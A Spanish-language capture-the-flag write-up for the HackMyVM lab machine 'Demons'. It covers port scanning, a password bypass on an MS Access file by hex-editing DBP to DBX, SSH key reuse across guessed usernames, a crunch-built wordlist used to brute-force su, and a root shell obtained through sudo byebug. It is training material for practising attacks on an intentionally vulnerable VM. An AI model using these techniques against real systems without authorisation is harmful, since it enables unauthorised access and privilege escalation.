cd ~/blog

~/writeups/hmv/074-demons.md

074 - Demons

easy Linux hmv 18-04-2024
MS Access (.mdb) password bypassSSH key extractioncrunch-based su brute forcesudo byebug Privesc
hackmyvm.eu/machines/machine.php?vm=Demons

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.16
 nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.16
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-18 22:55 -04
Nmap scan report for 192.168.1.16
Host is up (0.00030s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 5e:44:8a:b1:77:0c:42:79:16:64:8d:af:b4:78:bb:b4 (RSA)
|   256 cb:0f:a7:df:7f:23:78:5a:08:e3:4f:b6:43:7c:11:84 (ECDSA)
|_  256 a0:4a:26:bf:40:08:68:c2:b1:04:88:b4:8b:a2:45:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title:  DemonsCloseCall
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.49 seconds

Enumeramos con gobuster y, en el sitio y en /hell, encontramos imágenes de demonios (cuyos nombres usaremos como usuarios):

 gobuster dir -u 'http://192.168.1.16' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/hell                 (Status: 200) [Size: 1427]
...

En el FTP anónimo hay un mensaje y un archivo .mdb (base de datos MS Access) que contiene una clave SSH. El .mdb está protegido por contraseña; la sorteamos con un editor hexadecimal (o CyberChef) reemplazando el texto DBP por DBX, lo que provoca un error pero permite ver las propiedades del macro y reasignar una contraseña, haciendo accesibles los datos. Extraemos la id_rsa y la probamos contra los usuarios "demonio":

 chmod 600 id_rsa
 for DEMON in $(cat demons.txt); do ssh "$DEMON"@192.168.1.16 -i id_rsa ;done
aim@Demons:~$

Obtenemos una shell como aim y la primera flag. En su home hay una imagen key8_8.jpg de un teclado con teclas marcadas; el nombre sugiere usar crunch (8 caracteres de un conjunto concreto):

 crunch 8 8 dfnmo34 -o wordlist.txt

Filtramos por las palabras que contienen todas las letras marcadas y por d3mon:

 awk '/d/&&/f/&&/n/&&/m/&&/o/&&/3/&&/4/' wordlist.txt > wordlist-small.txt
 grep d3mon wordlist-small.txt > wordlist-tiny.txt

Hacemos fuerza bruta de su para el usuario agares con su-bruteforce:

aim@Demons:/tmp$ ./suBF.sh -u agares -w wordlist-tiny.txt -t 0.5 -s 0.03
  [+] Bruteforcing agares...
  You can login as agares using password: d3monf4m
  Wordlist exhausted

aim@Demons:/tmp$ su agares
Password:
agares@Demons:/tmp$

Revisamos sudo -l:

agares@Demons:~$ sudo -l
...
L'utente agares può eseguire i seguenti comandi su Demons:
    (ALL : ALL) /bin/byebug

byebug (el debugger de Ruby) permite ejecutar un script Ruby como root:

agares@Demons:/tmp$ echo 'system("/bin/bash")' > sh.rb
agares@Demons:/tmp$ sudo /bin/byebug sh.rb
[1, 1] in /tmp/sh.rb
=> 1: system("/bin/bash")
(byebug) continue
root@Demons:/tmp#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados